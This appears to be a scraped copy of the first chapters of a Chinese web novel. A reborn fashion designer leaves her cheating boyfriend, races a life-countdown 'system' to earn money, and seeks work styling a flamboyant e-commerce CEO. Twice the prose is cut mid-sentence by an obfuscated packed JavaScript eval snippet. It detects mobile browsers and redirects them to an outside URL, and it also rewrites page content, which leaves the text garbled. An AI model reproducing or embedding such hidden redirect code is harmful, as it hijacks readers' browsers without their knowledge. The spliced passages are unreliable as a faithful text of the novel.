《总裁的新装》 1. 第一章 纯白的病房里,安静的能听见机器运作的声音。 梁絮躺在病床上,孤零零的,身边一个人也没有。 她想起从前自己在大学里的那段时光。那时候她年轻漂亮,男孩子们围绕在她身边,争先恐后地向她献殷勤,她却一个也瞧不上眼。 毕业舞会上,她被选为了本届的partyqueen。她的发小在旁边偷偷地看她,忐忑不安地想要过来请她跳一支舞。这时候同班的另一名男生过来了,他彬彬有礼地鞠了个躬,对她伸出手说:“我能请你跳支舞吗?” 那个男生长得很英俊,家庭背景也很好,是很多女孩儿暗恋的对象。他来邀请梁絮,让她的虚荣心得到了极大的满足。 她把手递了过去,跟他在舞池里起舞。直到现在,她依然记得那天的灯光很璀璨,所有人都在看着他们,目光里充满了艳羡。 然而那却是一场噩梦的开端。 在那之后不久,她跟那个公子哥交往,正式成了他的女朋友。 男生名叫顾平,家里开服装公司,有独立的工厂和设计工作室。梁絮学的是服装设计专业,跟他在一起,对双方的事业都有帮助。然而顾平是个直男癌,只想让梁絮听自己的摆布,并不想让她继续工作。 梁絮当时鬼迷了心窍,听了他的话,放弃了自己创立的服装品牌,一心等着他来娶自己。 然而男人的嘴是骗人的鬼,她等了两年,等到的却是无情的背叛。 在她二十三岁生日那天,她把这个渣男跟他的小三堵在了屋里,亲自捉奸在床。 要是搁在从前,梁絮绝对忍不了。然而长期高额的花销让她债台高筑,生活开销都要依赖这个男人,她没办法,只能选择原谅。 在那之后又拖了两年,渣男一而再再而三地出轨,争吵成了他们之间的家常便饭。梁絮发现自己的身体和精神状态越来越差,去医院检查,发现自己得了甲状腺癌。 顾平本来就盼着跟她分手,得知她得了重病,甩下五十万跟她说了拜拜。梁絮之前为了这个渣男跟父母和朋友断绝了联系,如今回到她身边的,却还是他们。 梁絮觉得很对不起父母,自己这一辈子一事无成,临了不能再拖累他们。她知道自己的病治不好了,干脆拒绝积极治疗,想省下钱来给父母养老。 她的父母还不愿放弃,轮流来陪床,只是年纪大了,顶不了太久,每天总有几个小时不在病房。 梁絮抬起眼看墙上的挂钟,下午三点整。一直折磨她的疼痛渐渐消失了,取而代之的是一种轻盈的欣快感,仿佛预知自己即将迎来解脱。 她想起了从前的美好时光,微笑了片刻,又流下了眼泪。 如果有机会重来一遍,她一定不让自己再活的这么失败。 真的好后悔。 机器上的心率渐渐变成了一条线,她像睡着了一样,沉入了安静的纯白之中,等待着意识的消散。 然而当她再次睁开眼,发现自己躺在出租屋的床上。 四壁是简单的大白墙,墙上贴着奥黛丽赫本经典的拿着烟杆穿着小黑裙的海报。香水和廉价的首饰横七竖八地堆在梳妆台上,气氛有种微微的浮华感,又有些矜持的小优雅。浅蓝色的窗帘微微摆动,清新的晨风涌进来,开始了跟往常一样的一天。 这是她大学毕业之后租的房子,她在这里住了两年。创业初期最艰苦的时光都是在这里度过的。她不敢相信自己的眼睛,掐了自己一下,实实在在地感到了疼痛。 她起床走到梳妆台前。镜子里的自己面容饱满,一头过肩长发还在,而且密实油亮。她生前因为化疗,头发都掉光了,如今看到大把的头发还在,高兴的简直要哭出来。 镜子照着她,映出了她窈窕有致的身体。她回到了最漂亮的时候,不再是那个瘦骨嶙峋的模样,眼里还有光彩。 她虽然不敢相信,却也意识到,自己好像回到了从前。 她不知道这是不是一场梦。如果是梦,她希望能够做久一些,最好永远都不要醒过来。 梁絮推门走出了卧室。她离开这里已经有三年多了,故地重游,特别怀念旧时光。当初她在这儿创办了她的个人服装品牌飞絮,隔壁是她的合伙人白小飞的卧室。 白小飞从小跟她一起长大,大学又都选择了服装设计专业,两人的关系相当不错。然而自从她跟那个渣男交往之后,她便渐渐放弃了他们合作的品牌。白小飞也只好黯然离开,去了外地工作。 或许是要面子,又可能是出于愧疚,梁絮没有把这些事告诉白小飞。她清楚白小飞对自己很好,如果他知道她病了,肯定要回来探望的。 梁絮推开工作室的房门,三十多平的屋里并排摆着几台缝纫机,后面的架子上摆满了成卷的布匹,有真丝、棉布、化纤等各种布,还有成卷的蕾丝和大包的纽扣,都是她一样样亲自挑回来的。 阳光将一切都映的熠熠发光,她就像重新打开了封存已久的宝藏。 梁絮怀念地抚摸着这些东西,觉得这里才应该是自己的归宿。 当初她觉得工作太辛苦,不但要当设计师,又要当裁缝和售后客服,一旦出了问题还要化身母夜叉跟工厂扯皮掐架,不如嫁入豪门被人养着舒坦。如今她才明白过来,能 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他突然这样出现在人面前,把梁絮吓了一跳。她连忙捂上了眼,说:“啊啊啊你穿好衣服!要性骚扰啊?” “我在家不一直这样么,”白小飞搔了搔头,“你怎么突然这么见外……还会脸红?妈呀,我没看错吧?” 梁絮想起自己从前跟他合租的时候,两人的确是不怎么见外的。因为小时候撒尿和泥在一起,爬树掏鸟蛋也没分过男女,性别的界限在他俩之间好像不是特别的明显。 不过她好久没见发小了,突然看他这么慵懒地出现在自己面前,还是有些不好意思。 她解释不了自己的异样,道:“反正……你少废话,赶紧穿上就是了!” 白小飞虽然觉得奇怪,还是听话地从旁边抓起一件上衣穿上了,西装搭配大裤衩,透着一股诡异的滑稽感。他说:“八月二十五号,今天是你的二十三岁生日,我给你煎个荷包蛋。中午要是有空的话,我请你吃蛋糕。” 二十三岁生日? 梁絮忽然想起了自己二十三岁生日那天发生了什么事。上天仿佛真的听见了她的声音,给她机会重新选择自己的人生。 她回到了人生最重要的节点上,她必须完成自己该做的事,不能再让自己后悔了。 白小飞在厨房做饭,锅里的蛋滋滋啦啦地响。他大声说:“我给你唱首歌?祝你生日快乐……” 梁絮说:“不用唱了。饭我也不吃了,有急事!” 她换了衣服,抓起包就走了。白小飞有点失望,自言自语道:“见男朋友去了?一大早就去找他,要这么虐狗的嘛?” 2. 第二章 梁絮出门打了辆车,直接去了前男友的住处。 三年前,她一大早带着鲜花和红酒来到这里,想给他一个惊喜,却看到了这辈子最不想见的一幕。 她掏出钥匙,打开了房门。卧室里一对狗男女被吓了一跳,女人扯起被单捂住胸口,渣男慌过了最初的那一阵,狼狈地穿上了裤子。 “不是,你怎么连个招呼都不打就来了?” 梁絮看着他们,心情异常平静。从前的她心软选择了原谅,结果一错再错,最终毁了自己的人生。 这次她不会再重蹈覆辙。 看着眼前糟糕的情形,梁絮冷淡地说:“分手吧。” 顾平诧异地看着她,没想到她会有勇气放弃这段感情。他说:“你别任性,我知道错了,我只爱你一个……” 梁絮打断了他,平静地说:“我说,我跟你分手了,咱们到此为止。以后各过各的,再也不见了。” 平心而论,梁絮的脸蛋儿和身材都远胜过他偷腥的这个女人,即使像顾平这样的大少爷,身边的美女不少,也很难找到像她这样漂亮到耀眼的姑娘。虽然时间久了玩得有些腻味,但是就这么分手,他也挺舍不得。 那小三倒是乐得见他们分手,大声说:“那你走啊,还赖在这儿干什么,想要钱啊?” 顾平瞪了她一眼,斥道:“你闭嘴,这儿有你说话的份吗!” 小三咬着嘴唇,楚楚可怜地不说话了。顾平套上T恤,这会儿衣衫齐全了,好像找回了一点尊严。他赔笑道:“宝贝,别生气了,我昨晚喝醉了不清醒,稀里糊涂地就这样了……这样吧,我给你买个包好不好?还有你一直喜欢的那条蒂芙尼的项链,我也买给你!” 梁絮听他还有脸喊自己宝贝,想起临终前的痛苦,感到了极度的愤恨。 物质如今对她来说毫无吸引力,她抬手狠狠地抽了他一巴掌,说:“不需要,我看见你就恶心,别再让我见到你了!” 顾平被她打懵了,觉得她不但下手狠,目光也像冷电一般,简直要把自己脏污的灵魂看透似的。从前那个沉浸在爱情当中的小女人仿佛死了,如今站在自己面前的这个女人厉害而又冷酷,简直像换了个人似的。 他见哄骗不成,也换了张面孔,恶狠狠地说:“逛个街花两万,吃顿早茶花一千,你这么能败家,除了我,谁能负担得起你的人生?我警告你,今天从这儿出去就没人给你买单了,以后可别后悔!” 梁絮冷冰冰地说:“老娘靠自己也能过得很好,不用你操心!” 她说着转身要走。顾平脸上火辣辣地疼,又气又急,威胁道:“你要走可以,衣服和鞋是我给你买的,给我留下!” 梁絮没想到做人能这么无耻,冷笑了一声,把鞋脱了下来,一只甩在地上,另一只抄起来砸到了那个女人身上。小三尖叫道:“泼妇,你这么凶,难怪他不喜欢你!” 梁絮懒得搭理她,脱掉裙子,扯下丝巾,摘了手表。 她身上只剩一套蕾丝内衣,神态却傲慢的仿佛穿着皇帝的新装。她一把扯下桌布来裹在身上,拿发卡别了几下,居然还挺像一件充满设计感的衣服。 她冷冷道:“桌布是我买的,老娘穿走了。祝你们这对狗男女在一起,互相恶心对方一辈子!” 顾平不甘心,还要气她,道:“那铂金包也是我给你买的!” 梁絮愤然把包扔在他脸上,气得浑身发抖,光着脚走了。 梁絮光着脚走在路上,浑身上下都透着凉。她难过之余,脑子里乱糟糟的,从刚才开始,就好像听见叮叮叮的声音跟着她。 她停下来到处环顾,没找到声音的来源。 她竖着耳朵仔细听,仿佛听见了一个细微的声音,叮,自尊加十。 一阵风吹过,梁絮起了一身寒颤,哧地打了个喷嚏。 叮,疾病值加十。 她越发觉得奇怪,停在树荫下面,自言自语道:“怎么回事?” 脑子里仿佛有人在跟她说话:“恭喜你宿主,完成了系统派给你的第一个任务,跟渣男分手,奖励您生命值三天。” 梁絮以前看过系统小说,大约知道是怎么一会儿事。但当它发生在自己身上的时候,就觉得难以置信了。系统是个冷冰冰的声音,带着一股自矜的气息,道:“由于您临终前强烈希望重活一遍,您被选为了独立自强系统的体验员。” 梁絮有些半信半疑,怀疑是自己甩了渣男,心情太好导致出现了幻觉。 她悄悄地扭了自己大腿一下,嘶地倒抽了一口气,疼的真真的。 系统淡定地说:“系统以任务奖励的方式给您三天寿命。请在三天内完成系统发布的新任务,否则当生命值归零,您将离开这个世界。” 梁絮没想到刚回来就又要面对死亡的威胁,心情大起大落,简直好比坐过山车。 她说:“我的总目标是什么?还有分阶段的小目标?” 系统对于她能迅速领会精神感觉十分满意,说:“您的总目标是靠自己的能力实现财务自由,三年内赚取流动资产三百万以上。每完成一个阶段性的小目标,就能获得一定的生命值,完成任务的等级越高,生命值奖励越多。划重点,必须是劳动所得,任何恋爱对象赠予的金钱都不计入在内哦。” 梁絮抓狂了,说:“我就是个小裁缝,能有多大的本事靠自己在三年内赚三百万,抢吗?” 系统冷冰冰地说:“如果您不同意,可以放弃体验员的身份,生命值即将归零,是否确认,十,九,八——” 梁絮感觉整个人都不好了,连忙喊道:“否否否,取消取消!” 系统满意道:“好的。系统会发布任务来辅助您完成人生目标,具体内容可以在手机内查看。” 梁絮半信半疑地打开手机,见屏幕上多了一个自强系统的app。她看了一眼,见里头有个界面,中间有个倒计时的钟表,显示生命值71小时50分20秒,19秒,18秒…… 她打了个激灵,前所未有地感到了生命流逝的压力。她意识到自己想要活下去,就得赚钱。 三年内赚三百万,平均到每个月就要挣八万三千多块。梁絮两眼一抹黑,三年内要靠死工资来达到这个目标的话,太悬了。毕竟自己只是个服装设计师,还是没什么名气的那种。想要挣这么多钱,只有想办法做生意,给自己搏一条出路。 一个妙龄女子拿着手机站在路边,赤着双脚,身上只裹着一条白桌布,怎么看都不太正常。晨练的大爷大妈从旁边路过,用奇怪的眼神打量她。梁絮反应过来,暂时从对未来的思考中走了出来。 她打电话给白小飞,说:“你来接我一下,我在姓顾的公寓楼下面。” 白小飞莫名其妙,说:“你在他那儿,我去合适吗?” 梁絮道:“有什么合不合适的,我跟他分手了。记得带件衣服过来,我现在裸着呢。” 她挂了电话,没多久白小飞就开着车过来了。他在路边找到了裹着桌布的梁絮,幸亏早晨人不多,她还没被人围观,不然就要上社会新闻了。 梁絮站在一棵硕大的梧桐树下,双手抱着臂,赤脚上沾满了泥土,一副狼狈的模样。白小飞没想到她说自己裸着居然是真的。他连忙从车上下来,拿了件大风衣把她裹了起来,说:“怎么回事,你衣服呢?” 梁絮上了车,情绪松弛下来,开始一声不响地掉眼泪。 白小飞抬头看着公寓楼,一副要上去揍人的表情,道:“他欺负你了?” 梁絮抹了一把眼泪,道:“我跟他一刀两断了。衣服都是牌子货,我还给他了。咱们走吧,我不想再见他了。” 白小飞没听说过分手还要扒人衣服的,脸都气歪了,道:“还有这样的,他算什么男人啊,买不起别买啊,名牌了不起吗!” 梁絮打了个喷嚏,白小飞还敞着车门,凉风一个劲儿地往里灌。白小飞连忙上了车,把门关上了。 白小飞虽然一直都看那个公子哥儿不顺眼,却也不明白两个人前几天还好好的,怎么突然就闹成这样了。 他道:“为什么分手?” 梁絮摇了摇头,不愿意再去想跟他有关的事了,眼泪止不住地往下落。她恨自己怎么没早断了呢,一了百了,多畅快。怪不得人一生下来都在哭泣,新生给人的感觉就是百感交集,只有哭才能宣泄所有的情感。 白小飞发动了车,脸色铁青,跟早晨摇头晃脑唱着生日歌的他简直判若两人。 “别哭了。”他道,“分的好,我早看他不是个东西了。你想开一点,他不要你,还有我呢!” 梁絮本来难过的不能自拔,听他这么说,忍不住炸毛道:“都什么时候了,你还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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白小飞听她这么说,似乎又有些失望。他抓了抓头发,说:“也没什么,咱们俩是合伙人嘛,我的钱和大好前程都跟你绑在一起,想不管你也不行啊。” 梁絮嗯了一声,低头把饭吃了个一干二净,去厨房把碗洗了。 厨房里的窗户开着,外头传来了清脆的鸟鸣声。梁絮开着水龙头,想到自己的生命也像这些水一样,在一分一秒地流逝。她前所未有地感觉生命宝贵,既然重生的机会是那个系统给的,她就该抓住机会,把这一次的人生过好。 她一个碗洗了五分钟,白小飞终于忍不住,过来把水龙头关了。 梁絮回过了神,看着窗外的天空。一群鸽子盘旋着飞向了远处,远处的高楼鳞次栉比,到处都充满了生活的气息。 梁絮感慨道:“活着真好啊。” “啊?”白小飞满头问号,“你怎么……说话跟重症病人似的?” 梁絮没理他,旁若无人地对着天空张开双臂,铿锵有力地许愿:“二十三岁了,我要——努力生活!努力工作!努力挣钱!” 白小飞觉得她这样跟搞传销的似的,忍不住后退了半步,生怕邻居听见了,以为自己跟她一样有猫饼。 梁絮回头看他,脸上洋溢着灿烂的笑容,豪爽地说:“你也来,今天我过生日,我免费送你一个许愿的机会。” 白小飞双手乱摇,不买账地说:“不用了,我嗓门大,一会儿别再把物业招过来。” 梁絮抓小鸡崽似的,一把将他提了过来,催促道:“让你喊就喊,别啰嗦!” “别了吧大姐,”白小飞觉得丢人,小声道,“看在我把你接回来的面子上,饶了我成不成?” 梁絮依然不为所动,道:“快点,喊出你的心声!” 白小飞看着楼下一群拿着扇子准备跳广场舞的大爷大妈,一副被逼上梁山的表情,不情愿地说:“我希望……那个……” 梁絮一巴掌拍在他后心,鼓励道:“大声点!” 白小飞深吸了口气,大声吼道:“我希望,梁絮能从失恋当中走出来,精神早日恢复正常!恢复正常——复正常——正常——常——” 他的咆哮在风中回荡,小区里的人奇怪地朝楼上看过来,不知道是哪一户人在发疯。白小飞吼完知道要挨揍,脱兔一般挣脱了梁絮的钳制,躲进屋里藏起来了。 梁絮被他吼的耳朵嗡嗡直响,炸毛道:“谁不正常了!好心当成驴肝肺,给我回来!” 3. 第三章 修理完了白小飞,梁絮窝回沙发上,开始看手机。她研究了半天系统,大体上搞清楚是怎么回事了。 系统不定期会给她派发任务,三年内她的生命值靠做任务获取,三年后系统会考核宿主的流动资产,现金流达不到三百万,她的生命值就会清零。如果达到了,将会一次性获得七十年的寿命奖励。 这么看起来,还是挺不错的,前提是她得有这个能力赚到三百万。 梁絮上辈子就是太相信感情,忽视了个人努力的重要性,最终才走到了绝境。如今重活一次,她决定发愤图强,多多赚钱,不放弃人生的自主权。 正好她手头有个服装工作室,努力发展一下,说不定真的能够实现财务自由。 叮的一声,系统发布了一个新任务。 梁絮打开一看,是两个字,还钱。点开内容之后,发现没有具体的任务描述,任务奖励是生命值两天。 梁絮想不起来自己欠了什么人的钱,觉得莫名其妙。她晃了晃手机,试图晃出一点补充内容来,然而任务没有一点变化。 “什么鬼,不能把话说明白一点么?” 她一头雾水,决定暂时搁置这个任务,先考虑自己接下来的赚钱大业。 白小飞闲来无事,拿着拖把在屋里擦地。梁絮一本正经道:“小白同志,我有话要说。” 白小飞搂着拖把停了下来,道:“什么事?” 梁絮雄心万丈地说:“我要把咱们的飞絮发扬光大,早晚有一天,我要让我的作品登上巴黎时装周,开设属于我自己的高定工作室!把那些人渣都踩在脚底下!” 她想象着那一天,眼里露出了向往的光,已经开始考虑开完服装发布会,自己上台该穿什么衣服,发表什么感言了。这种情况下一般要感谢自己的合作伙伴,感谢模特和家人…… 白小飞放下了拖把,在沙发上坐下了,说:“哦。” 梁絮感到了他的冷淡,说:“先定个小目标,三年挣个六百万回来,咱俩对半分,从此实现财务自由。” 白小飞呵地干笑了一声。 梁絮感到了他的不配合,说:“你这是什么反应?” 白小飞说:“呵,女人。” 梁絮道:“干嘛,你嫉妒我的远大志向吗?” 白小飞不想跟她对掐,掏出手机边玩边说:“不敢,有志向是件好事,不过也得脚踏实地才行。你知道咱们的品牌这个季度亏损了多少钱吗?” 梁絮记得这时候他们的工作室刚起步,应该没赚多少钱的。她心虚气短地说:“多少?” 白小飞叹了口气,说:“我不忍心说,你自己看财务报表吧。” 梁絮起身打开电脑调出文件,发现一片血淋淋的赤字,平均每个月要亏一万多,而且这种情况已经持续了半年多了。 梁絮背后生出一层冷汗,感觉那些赤字歪歪扭扭地形成一张张狰狞的笑脸,在肆无忌惮地嘲笑自己。 她知道工作室没赚什么钱,但这个认知显然太高估自己了,他们现在根本就是在赔钱度日,比街上的乞丐还要穷一点。 白小飞悲催地说:“咱们的工作室要开不下去了。工人都跑光了,前天我把最后一个人也裁了,咱们俩已经是光杆司令了你知道吗?” 梁絮懊恼地说:“怎么会发展到这一步的?” “祖宗哎,为什么你自己心里没数么?”白小飞愁眉苦脸地说,“你每个月就过来打卡几次,拿这儿当宾馆住,天天逛商场过你的贵妇生活,不是打高尔夫就是喝下午茶。你不操心工作室的事,它能不长草吗?” 梁絮想起自己从前确实对事业不上心,前所未有地感到了惭愧。她这样不负责任,压力就都转到白小飞身上去了。就算如此,他也没有责备过自己。 她小声说:“对不起啊,一直以来都辛苦你了。” 白小飞一想起这些,心情也有些沉重,疲惫地说:“再这样下去,我也要走了。毕业一年多撑着这个摊子,钱没挣着,还往里倒贴,真的是对不起父老乡亲。前两天我看有几家服装公司在招设计师,工资待遇挺高的,我想去试试。” 梁絮有点慌了,说:“你要走?那咱们的品牌怎么办?” 白小飞说:“这品牌有我的一半,我也舍不得它倒了。可是形势逼人,咱们快穷死了。没钱怎么撑下去?” 梁絮一时间说不出话来,她意识到在爬上人生巅峰之前,她还有很长的一段路要走。至少眼下,她得先保证自己和身边的人能生存下去。 她打开手机银行,想从账户里拨点钱出来救急。然而她发现自己根本就没有多少存款,不仅如此,还惊恐地发现自己的花呗欠了两万块钱待还。 她头上嗡的一声,出了一层薄汗,总算知道系统说的‘还钱’,是什么意思了。 她打开购物网站,浏览历史记录,看自己到底买了些什么鬼玩意儿,发现不外乎是包、鞋子、首饰,还有些稀奇古怪的东西,包括各种零食和一个绿油油的鸸鹋蛋。 屋里还放着好多快递箱,夸张的是,大部分的箱子上都积了一层灰,她还没拆过封。 从前的她购物成瘾,买来又不用,而且还想再买,简直有病。如今重活一遍,她才亲眼见识到了自己当初是怎么一步步地被物欲俘虏陷入泥潭的。如今能及时刹车,已经是万幸了。 梁絮花了两个多小时来整理这些东西,能退货的退货,不能退的分门别类拍了照,放到了二手网站上挂着,卖掉回血。她估算了一下,处理掉这些东西能回三万多块钱,下意识想:“三万啊,能买个包了……啊呸!是能还欠款了!” 她抬手抽了自己大腿一下,自言自语道:“都要死了还买,有病啊?以后再乱买东西就把手剁了!” 整理完这些东西之后,已经到了晚上十点多。 她打开手机查看系统,发现还钱的任务进度,从零变成了50%,说明她的任务做对了。然而要等到这些东西卖出去,款打到账户上,最快也要一周的时间。她还能活两天半,钱还没还上,人就已经没了。 梁絮打了个哆嗦,决定不等这些钱救命了。她打开网银,从自己所剩无几的账户上转了钱过去,还上了欠款。叮的一声,系统冒出一个气泡:恭喜您完成任务,奖励生命值两天。 屏幕上的生命值从六十多小时变成了一百零几个小时。梁絮松了口气,房间终于不再被大量的快递箱占据着,变得干净整齐。她仿佛亲自赶走了一批讨人厌的入侵者,心情也好多了。 外头静悄悄的,她能听见虫鸣的声音。她关了灯,拉开窗帘,月光静静地照进来,清凉而又温柔。 梁絮看着自己在月亮下的影子,忽然有点感慨,最好的东西都是免费的,就像今晚温柔的月色,又像可靠的友情,还有健康的身体。如今的她才渐渐意识到了这一切,虽然晚了一些,总算还来得及。 她正吹着晚风,系统又发布了一个新任务,赚钱。 梁絮戳了一下任务内容,发现这个系统对她真的很冷淡,基本上只有任务目标,没有内容描述,客户体验太不友好了。她吐槽道:“每次就这么几个字,改名叫冰山系统算了。” 系统道:“本系统采取高自由度,任务描述简单是为了宿主更好地开发玩法,如果您不满意,可以选择退出,是否确认……” 梁絮满头青筋,炸毛道:“否否否,以后不要再问我类似的问题了,我不会放弃的!” 系统道:“好的,为您删除类似问题。” 系统吓唬完了她,又陷入了冰山一样的沉默中。梁絮坐在地板上,寻思着自己的当务之急就是得挣钱,尤其是她刚还了贷款,简直穷的里外透风。 不管怎么样,得找个活干,先活下去再说。 她打开电脑,开始搜索招聘信息,寻找合适自己的岗位。她的神情专注,办公室亮着灯,一直到深夜才熄灭。 白小飞晚上起来上厕所,见她屋里亮着灯,门开了道缝。 他站在门前一望,见电脑屏幕上都是招聘信息。他以为梁絮也要找工作离开这里了,静默了许久,悄悄地转身走了。 白小飞寻思着这件事,翻来覆去的睡不着觉,感觉像要把亲生孩子扔了似的难受。 他实在不愿意走到这一步,可是他们都快生存不下去了,品牌自然也难以为继。 他想跟她谈一谈,却又不知道该说什么好。梁絮一直在忙,他只好保持着安静,不去打扰她。 隔天一早,梁絮换了一身灰色的休闲西装,戴了个银边的平光眼镜,锁骨上戴着根黑色choker,打扮的既严谨,又夹杂着些时尚元素的装点,让人感觉在扮靓这方面,她是有话语权的行家。 她去厨房拌了蔬菜沙拉,做了几份鸡蛋火腿三明治,又煮了咖啡,把两份早饭放在餐桌上。白小飞打着呵欠从屋里出来,看见了早餐,惊讶地说:“呦,太阳打西边出来了,你亲自给我做饭吃?” 梁絮笑了一下,说:“今天我心情好,亲自为你下厨,不行吗?” 白小飞捂着胸口说:“太可以了,受宠若惊。” 两人在餐桌边坐下,白小飞吃了一块三明治,喝着咖啡,感觉心满意足。梁絮严肃地开口道:“好兄弟,我有点事要拜托你。” 白小飞就知道她做的饭不能白吃,放下杯子道:“你说吧。” 梁絮说:“咱们的品牌不能倒,飞絮就像我的孩子一样,我不能看着它就这么死了。” 白小飞说:“我也舍不得,可是没钱,怎么开下去?” 梁絮认真地说:“我来挣钱养活工作室,你负责经营。再给我一年的时间,我一定让咱们的品牌扭亏为盈。” 白小飞觉得她在做梦,苦笑了一下,摇头道:“市场残酷,竞争者太多。咱们这种小喽啰的力量微弱,想出头太难了。” 梁絮是真的要挽救她的品牌,她还指望着工作室发展壮大,赚钱给系统交差呢。 她说:“我账上还有点存款,先给工作室打十万,这样工人半年的工资就有了,你的工资还是跟从前一样,月薪六千。你就当帮我个忙,咱们再试一试,说不定就成了呢?” 白小飞有点难过,说:“你这么搞不是破釜沉舟了吗?要是一年后还挣不到钱怎么办?你存款花光了,以后怎么活?” “别这么悲观嘛,我有安身立命的本事,能养活自己。”梁絮自信地说,“这几天我一直在看招聘,发现了一个不错的工作,月薪两万,给一个电商老总当形象设计师,干得好以后还能涨钱。这样工作室这边我可能顾的时间少一些,要多麻烦你打理了。” 白小飞挺惊讶,说:“给谁搞形象设计,给这么多钱?让我看看!” 梁絮打开手机网页,找到了那个招聘启事。白小飞见了那电商老板,噗地一声笑了,说:“哈哈哈是他呀!这人的衣品奇差,前阵子穿得像个野鸡似的上博鳌论坛分享创业经验,结果被人群嘲了好一阵子。你小心他给你带到沟里去哦!” 梁絮的目的挺明确,道:“我管他审美怎么样呢,就算是个土大款我也认了,只要按时给开工资就行了!” 白小飞看了招聘要求,说要正规服装设计专业毕业,要了解时尚,会做发型和化妆,能够为总裁搭配适应各种场合的衣饰,能适应出差,陪同出席各种场合,还得二十四小时随叫随到,最好还得会开车。 白小飞有点不满,嘟囔道:“这么多要求,还不如找个妈呢!幸亏给的钱多,要不然谁理他。” 资本家的要求虽然多,好在梁絮全都达标。她说:“我服装设计是老本行,肯定能胜任,这事就这么定了。等会儿我去面试,你就等我的好消息吧。” 白小飞还有些担心,说:“这种总裁都挺花的,你可千万小心跟他保持距离啊。” 梁絮自信地说:“放心吧。我是要走上时尚界顶端的女人,怎么会被区区一个男人困住。你就等着我挣钱来吧!” 清晨五点钟,沈钊随着闹钟醒来,去浴室洗澡。 镜子里照出他锻炼有素的身体,沈总扯下浴巾裹在腰上,对着镜子摸了摸下巴,小胡茬刚冒头,不剃也没有关系,反而让他有种野性的感觉。 沈钊今年二十七岁,是新一代电商的领军人物。他本科学的是市场营销专业,同时自学了网络构架,大学期间就跟哥们李浩合伙创建了电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309946|152335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 商网站回响。因为经营有方,稳稳地抓住了市场的脉搏,五年内他就把回响做成了国内排名前十的电商网站。前年他的公司更是成功上市,在这个商机遍布的时代分到了一杯羹。 沈钊不但年轻有为,而且相貌出众,身材更是好到爆炸。在年初被媒体评为年度想嫁的黄金单身汉TOP10里面,他凭借优越的外貌和丰厚的资产,实力位列第三名。 排在他前头和后头的都是娱乐圈里的流量明星,只有他一个青年企业家混在其中,毫无破绽,稳得一批。一个不靠脸吃饭的人,跟一群靠脸吃饭的小鲜肉相比也毫不逊色。 照片上的他棱角分明,下巴微微扬起,目光里有股不服输的傲气,鲜活的存在感呼之欲出,有种区别于其他人的刚毅感。 商场如战场,他这种锐利的气质就像一把刀,帮着他披荆斩棘,战胜了不少困难。为了保持敏锐的判断力,他对自己的要求从不放松,每天坚持早起锻炼,洗冷水澡,靠运动维持旺盛的精力。 洗漱完毕,沈钊去了地下健身房,打招呼道:“早啊。” 私人教练早在这里等着他了,道:“早上好。” 教练陪着他在跑步机上热身慢跑,然后拿着手靶跟他做拳击训练。 沈钊一边锻炼,一边听助理给他汇报一天的安排。上午九点钟到公司开例会,下午跟一个生鲜连锁的老板谈合作,晚上去面试几个新员工。 沈钊赤/裸着上身,露出结实的肌肉,汗水顺着脊背往下淌。光看上半身感觉挺不错,然而目光挪到下半截,只见他穿了一条大红的运动裤衩,屁股中间有个骚气的肉色桃心,好像关键部位裸了一块似的。 助理一直憋着笑,心想:“沈总今天穿的格外骚气,大约是心情不错。” 他不敢多看,生怕表情管理不到位丢了饭碗,念完了就乖乖地站在一边,等待霸总批示。 沈钊向来爱穿什么就穿什么,而且是什么招摇就穿什么,根本不关心别人的看法。他两拳打在教练的防御靶上,把教练打的倒退两步,不耐烦地说:“招个员工还需要我亲自去面试?你们自己做主不就行了!” 刘助理说:“这是李总安排的,他说要给你招个形象设计师,专门给你设计造型。” 助理说的李总叫李浩,是跟沈钊一起打江山的兄弟,大学时期两人一起创建了回响。两人的关系特别铁,沈钊的格局大眼光狠,负责运营发展的大方向。李浩则是IT方面的精英,负责技术方面和人事,还有各种沈钊不爱操心的事,都归他管。 沈钊说:“我又不是明星,要什么设计师!” 助理小心翼翼地说:“李总说了,您的形象很重要,老这么不修边幅,容易对咱们企业的形象造成影响。上次您衣着的新闻上了微博和网页热搜,咱们的股票因为这事跌了好几个点,不能再这样下去了。” “我觉得我品味挺好的,他们那是不懂欣赏!”沈钊不满地说,“论坛那回就是他们事多,我只不过是随便穿穿,媒体就唠叨起来没完了!有什么好笑的,这叫波普风格,混搭潮人,懂?” 教练没忍住,噗的一声笑了,登时感觉自己这个月的奖金化为了乌有。他连忙鞠躬说:“沈总对不起!” 沈钊还挺平易近人,挥了挥手说:“没事,这不是在公司,叫哥就行。” 教练立刻从善如流地说:“是,钊哥的审美领先他们二十年,他们懂什么,都是嫉妒!” 沈钊对着手靶打了一拳,自信地说:“你去跟李浩说,我不需要搭配师!我就是潮流,让这个世界适应我的审美吧!” 上午沈钊穿着一件橙色的休闲西装,内搭一件夏威夷花衬衫和一条运动长裤去开了会。员工们已经习惯了他们家霸总的这种打扮,对他并没有什么特别的反应。 自己人对他的视若无睹,助长了沈钊骚包的气焰,这并不是什么好事。毕竟外人不靠他发工资,如果被他嚣张的态度冒犯到了,是不会给他好脸色的。 下午沈钊这副打扮去见了生鲜老板,对方是个一丝不苟的处女座,穿着灰色的西装打着领带,见沈钊一副九十年代嬉皮士的打扮,就差提着个卡带录音机跳着迪斯科来了。他发自内心地认为这个小伙子这样打扮是对自己极大的不尊重,深深地皱起了眉头。 沈钊看出对方对自己不满了,想要发挥人格魅力赢回对方的信任,可惜对方最终还是没跟他达成一致,说要再考虑一下。沈钊知道他这一走这笔生意就黄了,几千万的生意就这么泡了汤,实在可惜。 